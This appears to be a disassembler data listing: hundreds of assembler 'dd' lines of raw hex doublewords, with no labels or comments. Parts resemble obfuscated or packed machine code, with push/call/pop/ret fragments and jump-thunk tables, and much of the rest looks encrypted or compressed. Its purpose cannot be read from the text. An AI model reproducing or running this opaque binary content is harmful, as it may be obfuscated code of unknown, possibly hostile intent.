		dd 4C381h, 0C3830000h, 241C8704h, 7315E95Ch, 83A6FFFAh
		dd 7B802E6h, 306AC0Ah, 5E0FFC5h, 0C936A103h, 4A4A0DE1h
		dd 85089FBEh, 3778FD52h, 0FA10F99Fh, 2F3A9584h,	8A09B2C8h
		dd 227C7BECh, 0C762BAB5h, 0C94BB098h, 0E444C1E7h, 557A1210h
		dd 0DF2A7A30h, 1B1EB8C7h, 3163D56Dh, 0E60A99Bh,	3C07C622h
		dd 6144D39Fh, 3B7CC30Ch, 7C613987h, 0E7331576h,	876B4ECAh
		dd 6F16F509h, 0B62F1401h, 1180690h, 906D659Ah, 220FD0Ch
		dd 52230FEBh, 0DD2E4EADh, 8D40A832h, 0AC0C438Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 6FC0C9CBh, 0B615E489h, 0C79B589h, 890F06A6h,	6, 53D8E681h
		dd 8D8920E7h, 6A606ADh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0EC35242h, 0EBE4376Fh, 49852960h, 6106A610h
		dd 13E8h, 0E7555C00h, 37E01506h, 0A1F6E66Fh, 2A91B856h
		dd 0FFF91F09h, 0B8D0Fh,	6E90000h, 40000000h, 0A7ADBA15h
		dd 85C75849h, 6A6040Dh,	6C54h, 7159D8Bh, 85C706A6h, 6A60BE9h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 9C35141h
		dd 10E9D15Fh, 7F000000h, 3C141B54h, 0B4F127h, 18A2ACB6h
		dd 0FF1828FFh, 0A61165B5h, 11E906h, 78FD0000h, 97565687h
		dd 1261552Eh, 0B1B73BD2h, 0FFBC0343h, 0A61A7995h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 34B005DFh, 95FF006Ah, 6A62959h, 7AEBC08Bh, 4592BD11h
		dd 65FE9726h, 799EDCD7h, 0ED7AF27Fh, 7D1197FFh,	43AE5C79h
		dd 0B12AE9D6h, 39A23F58h, 7F5A10D2h, 4B6282Dh, 9F51B23h
		dd 0A22EDA90h, 972BEBD2h, 51C2C2ADh, 51FAB90Bh,	7D505AD3h
		dd 7003D762h, 0FD2DF2F8h, 6746F08Fh, 0D227C7B0h, 733E83BEh
		dd 9B134694h, 0B9772B0Bh, 0A365C2CEh, 3DD254B8h, 56AAAF43h
		dd 2BA125B3h, 4326A925h, 0A0D40C8Eh, 98DE54D4h,	0DE8FA7Dh
		dd 0E5000000h, 3EBC7C42h, 8D0AE9F6h, 8516FD2Ah,	5BD8D29h
		dd 815806A6h, 67ABC0h, 0DB50100h, 3306A632h, 30148BF6h
		dd 6830Fh, 0E3810000h, 26705019h, 37EEA81h, 13E85DFDh
		dd 0CF000000h, 66B8B5C0h, 0AF83E58Bh, 35C2FE6Ah, 0CA208CF0h
		dd 0B5092B74h, 6A609CDh, 1EC2815Bh, 81215CEDh, 2DDB00F7h
		dd 0D5C28130h, 663A6306h, 52A06EBBh, 2830Fh, 0FB8B0000h
		dd 8930048Fh, 0A62BA185h, 860F5606h, 0
		dd 4EE835Fh, 0ECFE81F9h, 0FFFFF98h, 0FFFF8C85h,	0C98166FFh
		dd 8D8D4BF2h, 6AC0E18h,	38A0Fh,	8B660000h, 698529C2h, 8906A62Fh
		dd 0A606AD8Dh, 419D3106h, 0C706A62Dh, 0A6040D85h, 581006h
		dd 12E96000h, 0F1000000h, 0FA428362h, 74E3328Ch, 2C42B542h
		dd 0A8F3E4BFh, 3D9D8B1Eh, 6106A634h, 0BE985C7h,	6A6h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 14AADC3h, 0FFCE00DCh, 0A60AF9B5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 337B3676h
		dd 7C1DA9EAh, 8B66F98Ah, 7995FFDAh, 8B06A61Ah, 0A60F0585h
		dd 0FF006A06h, 0A6295995h, 0EBC08B06h, 9EAD3B18h, 25BD2258h
		dd 8A1AAA4Bh, 9123DA2Fh, 76575DE3h, 0F458B092h,	0FE870h
		dd 1A6E0000h, 0E74A6356h, 7CDC3DF5h, 83433136h,	0F1BF0F6Dh
		dd 0BB665759h, 815BE545h, 5BBCC1h, 4BEE8100h, 2B6C73C1h
		dd 21B58BFFh, 8B06A62Ch, 8D893904h, 6A62F0Dh, 92E0F081h
		dd 0B58B0CCDh, 6A609F9h, 3CE5C081h, 0AE80F80h, 0A0000000h
		dd 460FBA3Fh, 2F96F914h, 0BE936h, 7DC70000h, 8186CD1Fh
		dd 42393212h, 0F0815A08h, 4F43824Ah, 691B509h, 605006A6h
		dd 28E59589h, 958B06A6h, 6A6103Dh, 39048F61h, 1014F8BBh
		dd 2AE2805Eh, 6002EF83h, 5B589FCh, 6106A632h, 2B504F4Fh
		dd 0A6073D95h, 0FF815E06h, 0FFFFA51Ch, 1A850Fh,	25B60000h
		dd 25E9h, 298C8700h, 9F761A8Eh,	158139Dh, 21EA1BA2h, 0FFB531B0h
		dd 0FFFF5EE9h, 578F9AFFh, 0D10C8178h, 594367DFh, 0D0E911A5h
		dd 48000000h, 0D759F62Ah, 0C3CA459Ch, 0DAB6E1C8h, 95A7ACABh
		dd 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh
		dd 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h,	9FB79960h
		dd 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h
		dd 9FA5B4h, 0F07B6B5Ch,	8A924Ah, 45F352D0h, 0A3F653F5h
		dd 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h,	0FD756BBFh
		dd 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh,	0B29EBD94h
		dd 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h
		dd 0B3ED7293h, 0B6D00097h, 0A8CD43F1h, 0F0h, 74470000h
		dd 0E0E3129Dh, 5E99h, 5	dup(0)
		dd 0E9000000h, 1586h, 0AC121568h, 6DB1E906h, 1768FFFAh
		dd 0E906AC13h, 0FFFA6DA7h, 0AC13F168h, 6D9DE906h, 9E68FFFAh
		dd 0E906AC15h, 0FFFA6D93h, 0AC161D68h, 6D89E906h, 0D568FFFAh
		dd 0E906AC16h, 0FFFA6D7Fh, 0AC178A68h, 6D75E906h, 5468FFFAh
		dd 0E906AC18h, 0FFFA6D6Bh, 0AC18F268h, 6D61E906h, 8968FFFAh
		dd 0E906AC1Ah, 0FFFA6D57h, 0AC1B9868h, 6D4DE906h, 0F468FFFAh
		dd 0E906AC1Ch, 0FFFA6D43h, 0AC1DE468h, 6D39E906h, 2268FFFAh
		dd 0E906AC1Fh, 0FFFA6D2Fh, 0AC205E68h, 6D25E906h, 768FFFAh
		dd 0E906AC22h, 0FFFA6D1Bh, 0AC232B68h, 6D11E906h, 0E4C1FFFAh
		dd 0D294B30Eh, 81A2ED38h, 7177DE6Bh, 193B029Fh,	963772CFh
		dd 14A17719h, 59D43A29h, 8805D3FEh, 0FA37DD8Dh,	2041EA74h
		dd 363360F9h, 875B8F93h, 0EBA6B269h, 7F631AF4h,	93700E87h
		dd 5F4B27F1h, 29C3E72Eh, 1EF7F69Ch, 5FEBE750h, 65C23EB2h
		dd 7FD4AE44h, 40F913D0h, 0C3298D5Ah, 413D3643h,	78953455h
		dd 7E336A32h, 8B84836Dh, 0B3ADB97Ah, 796FA6C7h,	0A721493h
		dd 5642E68Ah, 0A8DAD037h, 295B1729h, 584076ADh,	3535F6h
		dd 1CFD0000h, 913A24E1h, 3EB2D8E9h, 0D574158Dh,	336AC6B8h
		dd 0E4C269C7h, 56AC740Eh, 588B37D2h, 817383F6h,	4B19F91h
		dd 58EF3E3h, 0A455B04Ch, 0F0B5AEh, 5B7D0000h, 86696987h
		dd 0B812C6E7h, 0A3539DCCh, 5F9377DDh, 13F9EAD1h, 0FAE62D27h
		dd 54F37D2Ch, 0D4CE7FA9h, 0DB31319Eh, 0FBE542A2h, 47F07C2Dh
		dd 35CCD42Ah, 98EAC63Ch, 40DD372Bh, 0CCD332C9h,	58B2B035h
		dd 5BB1B11Eh, 0EFA2B022h, 233B82A0h, 524CA9Ah, 2FCAD99h
		dd 5E9F7716h, 0A01EB9A7h, 363EB295h, 59E741DCh,	6A8555FEh
		dd 156F5B33h, 5E42ECE9h, 51973F8Ch, 0BE7CD6Dh, 0EA746052h
		dd 12B7C841h, 32309F38h, 0BD158AD8h, 0C6D935B3h, 993388ECh
		dd 779C3F39h, 79388394h, 0A04CF381h, 963D3B76h,	91476AD7h
		dd 7C60AFA5h, 5C7435AAh, 3A4B8EEDh, 12C3A2h, 73994E00h
		dd 0A54F1F26h, 0D63C2D68h, 2ECFC5Bh, 32E488B7h,	0EE09A4E7h
		dd 0BE9914C2h, 49F441AFh, 1A2570A6h, 0F17A248h,	0FBBDD681h
		dd 78A33360h, 6FB95B3Ah, 9D776BD2h, 0DD7AF600h,	46B8E10Fh
		dd 0C456506Eh, 750FD155h, 0DDB54C89h, 0FAF8938Dh, 0FF5806F2h
		dd 3EB243CBh, 3356F7E3h, 336A239Ah, 33B7CDE5h, 0F6586E98h
		dd 9E33A422h, 80336A3Fh, 0C53F582Ah, 0E3000000h, 3C6D875Bh
		dd 60812AB0h, 7635CCE9h, 5779C69Ch, 62B9D881h, 4135CCEEh
		dd 0A34D1CBBh, 0DE7318FAh, 0C035CCECh, 372B98EAh, 0E5C540DDh
		dd 59AD610Fh, 0B829BF39h, 38B4196Bh, 9E819B2h, 4FE35CCh
		dd 0CE47864Eh, 34CF37A0h, 0E3DF3EB2h, 0D42DA856h, 8F925E9Eh
		dd 0D39D8950h, 13F71078h, 224CA638h, 364C9A85h,	0B76103A8h
		dd 9155F27Ah, 0C7D4C27Bh, 240E999Ch, 0BFAFE8C4h, 0B8CA3455h
		dd 48BF690Bh, 8EEBED4Dh, 0C1A9CF7Eh, 4C000011h,	1924719Bh
		dd 236AA74Dh, 0FE59D43Eh, 8AB500EEh, 0A6E530E6h, 12C4E807h
		dd 47A9B887h, 76A043CAh, 0A44E1C3Bh, 0D4870969h, 3360FABFh
		dd 5B3C06A1h, 6BD26FB9h, 0F6009D77h, 0E533DD7Ah, 2F005E44h
		dd 0EC7DF874h, 0DDD62F0h, 0A02E46E7h, 0CCB19A37h, 5C168C35h
		dd 8C19F3F7h, 134AA081h, 8904EEFCh, 28BA57AFh, 0E7F96DB0h
		dd 0C8BE746Dh, 0E044F40Dh, 0DDB55F03h, 0AA8650CCh, 7C9546CCh
		dd 6235CC94h, 0C374FA88h, 3EB28883h, 602B7F6Bh,	8F050C6h
		dd 53F05BE1h, 45CBFC52h, 0EEEF176Dh, 0D0EE4917h, 0E6C08247h
		dd 78755D0Ch, 0EE55D39Dh, 0F14210FEh, 3A61D474h, 41EE8862h
		dd 46ED8B61h, 0E3DF8E64h, 0D6B1D285h, 4BA73E4Ch, 0DDD7839h
		dd 9A1B80E7h, 0FD9090BCh, 10E77Bh, 57BDAA00h, 816B73DAh
		dd 0B2580934h, 0E608D867h, 16C0ECABh, 0C2ED409Bh, 92BD08DEh
		dd 0A5E03DD3h, 76D16CBAh, 23039E74h, 0FA893A9Dh, 6C9F3360h
		dd 69875BD6h, 7E70079Eh, 83BA962Eh, 0DF74E76Dh,	0C135CC3Fh
		dd 72739BE9h, 7ADD9Bh, 0A73EB203h, 99C02A38h, 0AE9A7076h
		dd 36837FD4h, 0A9028D48h, 336BEB38h, 0D78BB42Eh, 0B427413Dh
		dd 3815F76Eh, 8DE39A70h, 9BE90726h, 81E78F38h, 34DA8938h
		dd 4EAFA15h, 5AA86265h,	0D72DC5DBh, 0B3AAB853h,	48F7FDh
		dd 1CBB0000h, 913A24E1h, 3EB238A1h, 0A594D935h,	0ABF7C19Ah
		dd 670AB1BFh, 0F95FB7B1h, 0F1C17F01h, 0E102B5B3h, 0F7336AFCh
		dd 108491Bh, 336AFCE2h,	0C32CC2E0h, 4D569576h, 0A916504Ch
		dd 410052B8h, 5C0DDBC6h, 100B18h, 0E11C4000h, 0AF9B4D77h
		dd 1ABD3BC1h, 35CCE9E9h, 0CE7103FFh, 3EB8F9EFh,	8967468Dh
		dd 74F2EED0h, 0E2EEAE98h, 0DF953BDBh, 12F8EA51h, 16F8EF54h
		dd 0B8F98B77h, 4974CD9Dh, 18F4EE9Fh, 80A00F61h,	0B1C33F6Eh
		dd 0E38D8845h, 7EDFE65h, 637ECA4Dh, 7E543814h, 23CD6AF0h
		dd 12D07FF5h, 0C0E2ADF8h, 3BADA458h, 88B3CEC3h,	94F5AEC3h
		dd 6E5AB038h, 0E44F0C00h, 5F636501h, 0B04CA005h, 0F0F4D99Ch
		dd 0D17AE493h, 389495B0h, 0CE364CA6h, 0E268F60Fh, 9495D849h
		dd 0E432DE38h, 0E72E5945h, 21332FC1h, 8E8E18B3h, 15E933EAh
		dd 390B3215h, 0A21553FCh, 26323E01h, 0AA9BB17h,	3ED849E2h
		dd 87CE2632h, 0A0124B9Dh, 2867D8B4h, 7B883E02h,	0F3A92CAh
		dd 0E0C50000h, 0D690BF0Ah, 85A6E13Ch, 756BD26Fh, 1D070E9Bh
		dd 922B7ECBh, 10AD7B65h, 4DD83635h, 0BC09DFC2h,	0EE3BD191h
		dd 345DFE80h, 3A3360FCh, 3E57B38Fh, 7F35CCE9h, 0FD17D47Eh
		dd 70F46701h, 663EB8F8h, 5A45E28Ch, 0C368F68Ch,	9DB8F51Fh
		dd 880627CDh, 9B6B04Dh,	1589B066h, 0EC4BD15Fh, 5EF364C0h
		dd 403360E6h, 2ED17E6Ah, 71296AF8h, 65381EDAh, 9D591A8Dh
		dd 7F0E8EEAh, 0EBBF9h, 8B614600h, 0BD57173Eh, 0EE042560h
		dd 1AF4F453h, 4A9C808Fh, 0E611ACFFh, 0B6912CFAh, 41CC59B7h
		dd 123D885Eh, 76FBA50h,	0FFB5DE79h, 0BB3360h, 978A7A32h
		dd 0EE0422A8h, 4D5343BFh, 0AEB8C72Bh, 0A1810E44h, 0EFF3124Bh
		dd 73F96405h, 66FC16D4h, 15CC48BAh, 54F0FEFFh, 917h, 77E11CDEh
		dd 0C3AD9973h, 0B8F8CB68h, 3B259D3Eh, 0E556CE9Ch, 3360E64Ch
		dd 0E28C7852h, 0F98B6145h, 27CD9DB8h, 0E6AAC306h, 0EAEB3360h
		dd 41CF5513h, 60E67D96h, 0C4776333h, 3360E6AFh,	0A50B59B1h
		dd 5CB6B01Fh, 0EB96B12Dh, 0B694273Dh, 38381EDAh, 9E225DC2h
		dd 30558EEAh, 0E03B4h, 33D98E00h, 658F5FE6h, 967C6D28h
		dd 0C22C3C1Bh, 0F224C877h, 2EC964A7h, 0FE59D402h, 89B401EFh
		dd 5AE530E6h, 4FD76288h, 0FFFD16C1h, 0B8E33360h, 5BFC7AFAh
		dd 35CCE936h, 0EA07B038h, 0FC35CCE9h, 0EB582A06h, 0A3531DF7h
		dd 92F6EF98h, 9D304253h, 0E39A7072h, 0D85CB67Ch, 0F0FE2B21h
		dd 85A60h, 3E572200h, 1935CCE9h, 0E98B3893h, 259D35CCh
		dd 0BC26A72Fh, 6D8631ADh, 7335CCE9h, 0F2AB87h, 0B0E14A14h
		dd 0C63EB8F8h, 574395BFh, 6A80A209h, 0BCD5860Ch, 0A23360E6h
		dd 0D8673A48h, 51B9E00Ah, 5CFF7994h, 381EDAFEh,	0C0A51AF0h
		dd 978EEA9Dh, 0D4E76F6h, 14D10000h, 0C2E4A3FEh,	0B1B29D28h
		dd 6147CE5Bh, 690B328Fh, 862762BFh, 4914769h, 49C42A39h
		dd 0B8F523CEh, 0EA27CD9Dh, 3051FA84h, 263360FEh, 875BBF83h
		dd 0BB03C6Dh, 18A7BD57h, 38C6A04Ah, 0CCE9729Fh,	0F48E6435h
		dd 0CEC4EE51h, 0FEA8AF4Ah, 3A9D1BF0h, 35CCE189h, 6AB1A6D8h
		dd 510E8D06h
		dd 23956D7Dh, 231FB565h, 7993651h, 7AFC0000h, 0E9365BFCh
		dd 0C23835CCh, 8C8944B0h, 0D5FF64E2h, 0EA785A03h, 0B8F8B5A9h
		dd 903BA13Eh, 3360E673h, 0D7918D65h, 5907A68h, 893A9D1Bh
		dd 9F3360E6h, 0C0E25123h, 15C64C2Ah, 3360E6FCh,	0CB7A08E2h
		dd 60E61F88h, 669F5E33h, 0DAFB5FF8h, 7F3381Eh, 0EA9DB1A0h
		dd 85E3628Eh, 0C84h, 79B45E0Fh,	57E208DEh, 8411FBE8h, 0C845ABB9h
		dd 3875A34Dh, 81A34CE1h, 6C73DA57h, 65083782h, 0BDF66B3h
		dd 40CE54E1h, 60F17A97h, 79396C33h, 36D875Bh, 1A6882A4h
		dd 0AC4664ABh, 0AF4565C2h, 33DD70D5h, 590944E5h, 0E2A8AB3h
		dd 101A75F4h, 0A84B66E2h, 0E00AF0FEh, 88000006h, 0CCE93B57h
		dd 0CF797435h, 3B4AF325h, 0E4D0CC26h, 0F85ED17Ah, 0AE043EB8h
		dd 0AD471BC0h, 8C353510h, 0A80A33DDh, 0C8058DBCh, 3EA5234Dh
		dd 0A8DC72Dh, 381EC6D4h, 0E677E8C2h, 5D8EEA9Bh,	0BE6CC28h
		dd 0BCA90000h, 6A7CDB56h, 590A3580h, 9DF66B3h, 0C1E3AAE7h
		dd 0EE4F9A17h, 0BC09DFC1h, 0E13CD291h, 0D06DBBA6h, 29F7575h
		dd 8839921Ch, 9E3360F1h, 875BD76Bh, 0D285036Dh,	35CCE9B1h
		dd 94394BA7h, 0DA836979h, 2F5E88ABh, 0EB2CC2E0h, 0A38EED26h
		dd 5FF1A884h, 0D1F32153h, 0E0A22B07h, 88624092h, 8D6341EEh
		dd 0D190E2DCh, 0F1CFBF57h, 0BB16C945h, 5B954CA9h, 7ED4F0FEh
		dd 8C000001h, 0AEE90327h, 0CC3657BDh, 875BFAB6h, 0D1913C6Dh
		dd 0F886EE3Bh, 0CCE9325Fh, 0B4CE2435h, 0F6708D48h, 0E9A2CF68h
		dd 2CB435CCh, 0CCE9668Bh, 0A6920835h, 13B846ACh, 1C86A771h
		dd 0C7FDF546h, 9E13EB2h, 0F7943150h, 0CFEB336Ah, 0B69A31B5h
		dd 35D9F658h, 59000000h, 4D77E11Ch, 4F0E29Bh, 0D8C9F15Ah
		dd 0F5ED3EB2h, 0C6983554h, 0CBE7336Ah, 8B863DB9h, 8B30F658h
		dd 930F3EE8h, 0DFA6C1h,	46BE0000h, 74DDF667h, 0CC84DE08h
		dd 283E875Bh, 0D3CD291h, 90C9A591h, 0DB85537Dh,	6F61D22Bh
		dd 0BF79678h, 0C4A00A1Bh, 1D4CA6BBh, 0D372D3A1h, 2844E50Fh
		dd 0DF8989D4h, 5E0EB2F3h, 3FECC4B0h, 0E3FA111Bh, 0DDD62F0h
		dd 65C2AAE7h, 53F2AB41h, 0FC76628Ch, 0CC7B4C5Bh, 0DA303235h
		dd 0DF31379Ch, 0C706CC85h, 4CEC204Eh, 7BEECCCAh, 0E3DF3535h
		dd 0DE850391h, 2F90E208h, 3EB41ADFh, 0AB4161CEh, 0DD7200F2h
		dd 108F2497h, 39913364h, 9884234Dh, 0A854F34Eh,	0E03E097Eh
		dd 0BCD19593h, 0A4F38h,	0FF15D200h, 29C39BA2h, 5AB0B19Ch
		dd 8E6040CFh, 0BE681433h, 6A85D863h, 3A059046h,	0CD48C52Bh
		dd 9EB9F422h, 8BEB26CCh, 0F3315205h, 84273360h,	0CDD7ABEh
		dd 95B47E6h, 0F54096BAh, 2772984Ah, 9DD7AEBh, 2291E3h
		dd 2278CEAh, 374DB1E8h,	0D26B7F96h, 5583AD14h, 3C308D79h
		dd 4A7h, 20E11C64h, 6DAF10F1h, 38F6730h, 2248E9D5h, 2F88D6C2h
		dd 3EB2B76Fh, 57EA930Fh, 336AB63Eh, 0A14CEB41h,	0B6315205h
		dd 0CB27336Ah, 3E34AEDFh, 0F57380F2h, 6AB62142h, 89DB3733h
		dd 58FBB56Ch, 238F4F6h,	57BE0000h, 35CCE935h, 4BEC7776h
		dd 35CCE926h, 0E9355EF9h, 0CF3B35CCh, 204E3A90h, 0B8F8F2B7h
		dd 7E6ED53Eh, 9EF1E990h, 58E070C4h, 158AD8B4h, 8E35B3BDh
		dd 0AC1637DDh, 937969D6h, 0C12B3F06h, 5AB33298h, 0AF08961Ch
		dd 33604B02h, 13A4BE14h, 381E74B3h, 20CA9C3Bh, 0D7FA8579h
		dd 8A665801h, 0EA0A3815h, 3EBECF8Eh, 940h, 0A5F01AC3h
		dd 0EB26CC9Ah, 0D855BFACh, 34816F7Dh, 64B16709h, 456F8825h
		dd 283F0693h, 21CC4BC6h, 0CF93BAF7h, 48AE825h, 60F23E53h
		dd 0BD852033h, 0E533DD7Ah, 0E802206Fh, 0A24C1EB1h, 59A3F2EDh
		dd 392713B7h, 8C656C5h,	0E072809Ah, 0C81E024Dh,	0B97C2991h
		dd 3CA1E452h, 0CAF64F13h, 0D779201Ch, 0DD3CB9CBh, 0AB3593C3h
		dd 8ADA332Fh, 0A9D03E2Dh, 81F33F35h, 34368F53h,	0BE57E2DEh
		dd 0F0FEF703h, 14942h, 875BC000h, 0D1913C6Dh, 4C65C63Fh
		dd 433F5B35h, 30CD08F6h, 2954A836h, 852E89DAh, 0AB35CC1Fh
		dd 699473Fh, 7B22F498h,	66D9AB87h, 3EB2276Ch, 8FE19872h
		dd 94EE0020h, 6A168A23h, 0C73DF533h, 0E40DAE34h, 8A336A16h
		dd 70AB4210h, 4FF65857h, 25h, 24E11CF3h, 0D8E9913Ah, 158D3EB2h
		dd 0C6B8D574h, 2BC7336Ah, 8BA65DD9h, 0AB10F658h, 6D065CB6h
		dd 0BCh, 6D875BD5h, 3DEF913Ch, 26F86B96h, 4BF2EE15h, 15ACBE25h
		dd 1082BB51h, 0CB990524h, 0DD8C6644h, 0CF5AB0B2h, 0CC852D4Ch
		dd 0E50FD335h, 0D22BAAA8h, 40D32394h, 0BFB3EB5h, 0A7AA88A4h
		dd 0ABB5A1EAh, 7BB6600Ch, 0AFC477FDh, 0A13365E5h, 0DA306F85h
		dd 0CF193B88h, 93CCE158h, 0F5731295h, 7E4h, 0D954BEAFh
		dd 3782687Eh, 64B15B08h, 0A8E50BD9h, 9815C3EDh,	21C3EC41h
		dd 0CC93BAF7h, 85A89722h, 6B7FC653h, 0A02E3481h, 60F59A37h
		dd 0D9598C33h, 16FB95Bh, 0DA5F8B7Bh, 8BC2C90Dh,	0CC4DA3C0h
		dd 75DB535h, 0F51FC34Ah, 0F467ED6Bh, 35CC4D5Fh,	81226941h
		dd 9735CC4Dh, 0DE68293Bh, 0B40DDD7Ah, 10625E88h, 3455BFA3h
		dd 9623C999h, 22A86h, 0E11CDA00h, 3E913A24h, 0A43EB8F9h
		dd 53FC1F4Eh, 2C3360E6h, 6F8A0E04h, 2EF652ABh, 1ECh, 0E9355794h
		dd 777635CCh, 8C67D09Eh, 1A3EB8F9h, 0C438C6A0h,	0FE5990F9h
		dd 33608855h, 0CE776F5Bh, 0E2C780DCh, 176D5108h, 5F03BAA8h
		dd 309FD9B5h, 37DD890Ch, 89B0AC16h, 1A025F15h, 51963B9Ch
		dd 22983360h, 15FFE350h, 0A65F9E74h, 6EBF1FB8h,	0C33F381Eh
		dd 0E9F3C35Ch, 0F375188Eh, 6F4h, 0C944AEBFh, 2772984Eh
		dd 14A14B18h, 58D53B29h, 8805D3FDh, 31D3DC71h, 0FCE3AAE7h
		dd 95B88712h, 9B4FF643h, 0B03E2471h, 60F4EA07h,	0C949FC33h
		dd 3C6D875Bh, 0BF690BB0h, 0F15E148Eh, 0E3841FF1h, 0EAA9626Ah
		dd 0C4CE4FFEh, 41C13DCEh, 0C0E53F44h, 7C6ED5AFh, 971D1B96h
		dd 0CCEC8F24h, 2B399135h, 0FEA117B2h, 12256F0h,	7ADC0000h
		dd 0E920E38Ah, 780AE320h, 4CFD17CBh, 7ECB2101h,	0BEB85590h
		dd 0E56A8730h, 867C35CCh, 0FDF566CCh, 0E13EB2CBh, 94315009h
		dd 0EB336AC3h, 9A31B5CFh, 2CF65882h, 597D07D0h,	750FA645h
		dd 451Ah, 0E11C9800h, 40BC3A24h, 0E58D42D3h, 42F58F16h
		dd 3EB226B8h, 86C5645Eh, 336BC769h, 49E41816h, 0A08D3F38h
		dd 2FE28D4h, 0D652A070h, 0F659EC3Bh, 9D7Ah, 681AEA00h
		dd 388CA436h, 226372FCh, 76231E32h, 875BA4FCh, 0EF913C6Dh
		dd 1DCD0039h, 2B3F56F7h, 22804CC5h, 0A080BFB9h,	2B66524Eh
		dd 0CCF0D960h, 11FBEF35h, 6FFFE84h, 410FFF58h, 60AF3EB5h
		dd 0FF3AA7Ch, 0C2EE5513h, 92BE9914h, 8EBF5117h,	6CC73814h
		dd 7F959329h, 5B6AECEh,	6C790000h, 5A0C0B86h, 9DA65B0h
		dd 0F9EF56E3h, 91B39A17h, 1EBFCA47h, 0EC39EF91h, 0D16C82A1h
		dd 9D4B76h, 72CF2505h, 58C962ECh, 4E3360F6h, 0DD7A071Bh
		dd 5A44E533h, 4F99BB08h, 7D974BF2h, 875B9620h, 0D1913C6Dh
		dd 208EEE3Bh, 0D2000000h, 3C6D875Bh, 23BD191h, 0AE7C9692h
		dd 55DB56BCh, 2Bh, 9C7670DFh, 5A03EDF3h, 5B56EA78h, 17BC1F87h
		dd 1935CCE9h, 7594B5A1h, 35CCE9D9h, 38EA1808h, 0EB75C02Ah
		dd 0D4759F4Ch, 5BD898EAh, 0A4036D87h, 0B7166C86h, 0F9679E5Fh
		dd 0B8F97F5Eh, 0DB857D3Eh, 0D124A15Dh, 0D500575Ah, 72BFCE69h
		dd 52201C2Ah, 6544FDEDh, 8CBAC68Fh, 3723D031h, 65B0AC16h
		dd 0BBE208DAh
		dd 34E28E35h, 33DBA915h, 495C5FB2h, 5949A785h, 2C186332h
		dd 975FE942h, 9F0B3814h, 0E0786AD1h, 9497DA77h,	0FAD6CC38h
		dd 0AC11D77Ch, 0EA7854BEh, 4462C957h, 7B6FD4AEh, 5F0EE4C2h
		dd 9ED67763h, 970AA710h, 0A61C3894h, 6CA520ACh,	0FB5C8446h
		dd 38944356h, 42726258h, 6E5AC2h, 0EAFE5F57h, 55970F33h
		dd 0B3524B7Ah, 3ADF403Ch, 71883E3Dh, 47A98DCh, 20050000h
		dd 16D07FCAh, 0C5E6A1FCh, 0B5AB922Fh, 5D47CE5Bh, 52EB3E8Bh
		dd 0D06DBBA5h, 0D987675h, 7CC91F02h, 0AEFB11D1h, 749D3EC0h
		dd 7A3360C9h, 875B73CFh, 7575D06Dh, 0D986EE9Fh,	216EE40Ah
		dd 0DDB2EB01h, 0DE083493h, 0F12133AFh, 7B915183h, 0C899462Eh
		dd 0F8877B22h, 655900EAh, 0A4DBF6EFh, 5E9AF0FEh, 18000000h
		dd 0E00EDD7Ah, 0C70F45B9h, 0DB610F06h, 0DA836D7Ch, 69296AF8h
		dd 7D3EB238h, 41F816D6h, 0F07615Dh, 4F6E720h, 0E7241C96h
		dd 0FB3599DDh, 10BF253Fh, 2B6EBB6Dh, 336A3E84h,	0F742A8BAh
		dd 0F573A548h, 0CE6C06Fh, 6A3E224Fh, 84DE3433h,	3C2C721h
		dd 0C3490000h, 6A3EFB68h, 7FF5ED33h, 6D875B23h,	3BD1913Ch
		dd 28E5E0EEh, 2FC5E14Eh, 666CCF55h, 83EB2C7h, 3FA8EB92h
		dd 40336AF6h, 23DE5AA8h, 62F658B7h, 3Dh, 24E11C20h, 0B40BC3Ah
		dd 0DD3332DCh, 85DB8FE5h, 2BBE4CCFh, 0AD613EB2h, 38167640h
		dd 0ED4E2850h, 336B5E44h, 4DE2706Ah, 78953455h,	7336B5Eh
		dd 669D196Bh, 25F65913h, 0B8h, 69875BEDh, 71D09B7Eh, 4EFFEB48h
		dd 0ADCB1D07h, 91C82606h, 94806E7Eh, 2206FDEh, 4E768EE8h
		dd 7E945510h, 2585286h,	0B0B2DD70h, 4D4CCF5Ah, 3335CC90h
		dd 3C9BC52Fh, 0FFB2C02Ah, 2340EB71h, 3535CC6Ah,	5CB2B2DDh
		dd 43A9B906h, 0D431AC1Ah, 46FD218Ah, 3A83EB2h, 2B97B660h
		dd 0B500FA59h, 6BF510CDh, 12D0F0C0h, 422C8638h,	902DFBE5h
		dd 0EA5D8BB5h, 8EED931Bh, 0D19FD96Ch, 5C000002h, 69D4618Bh
		dd 331A977Dh, 0CE49C42Eh, 9AA5F01Eh, 569520F6h,	2D4F8F7h
		dd 37D988B7h, 66B053FAh, 947E6C2Bh, 24971919h, 3360CB8Fh
		dd 5B2C7691h, 6BD26FB9h, 0F6009D77h, 0E60CDD7Ah, 0E9B2DF78h
		dd 4EA435CCh, 820DC834h, 0E93E5304h, 0CA2035CCh, 0CCE96081h
		dd 0A09C7635h, 0D86515C6h, 93383EB2h, 4EE354F0h, 50336AD9h
		dd 0DEC18E7Ah, 176D5108h, 0BF2442B8h, 9E0F45AFh, 47FAE956h
		dd 0E0D28B5Dh, 2A3A55F4h, 4D39A5C4h, 0D96B8437h, 5C14336Ah
		dd 786ED526h, 0D9DA77E0h, 0D6CC336Ah, 568D68FAh, 15F65894h
		dd 0C7h, 6D875B9Dh, 9318F303h, 72222FD6h, 0D6AC984Eh, 0E234D877h
		dd 1D8118BBh, 0E3C735CCh, 0D191BC09h, 4984023Bh, 1A05A2CCh
